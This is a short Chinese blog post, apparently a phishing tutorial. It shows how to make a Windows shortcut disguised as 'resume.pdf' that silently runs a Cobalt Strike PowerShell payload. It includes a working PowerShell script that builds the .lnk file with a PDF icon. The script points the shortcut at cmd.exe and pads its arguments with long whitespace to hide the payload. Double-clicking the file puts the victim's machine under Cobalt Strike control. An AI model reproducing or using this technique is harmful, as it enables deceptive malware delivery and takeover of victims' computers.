CS Ink钓鱼

Posted 2021-06-04 Ybit

使用Windows快捷方式伪装的木马

CS+Ink钓鱼

.ink文件

windows的快捷方式

---

测试

使用powershell运行计算器，右键使用powershell运行即可打开计算器。

cmd /c calc.exe

生成PowerShell

1. CS生成powershell Command
   
   
2. 成功生成后替换calc.exe
   
3. 新建另一个ps1文件，内容如下

$file = Get-Content "ink.ps1"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("resume.pdf.lnk")
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"
$Shortcut.IconLocation = ".\\pdf.pdf"
$Shortcut.Arguments = \'                                                                                                                                                                                                                                    \'+ $file
$Shortcut.Save()

4. 右键使用powershell运行后会生成一个resume.pdf的快捷方式，双击运行即可CS上线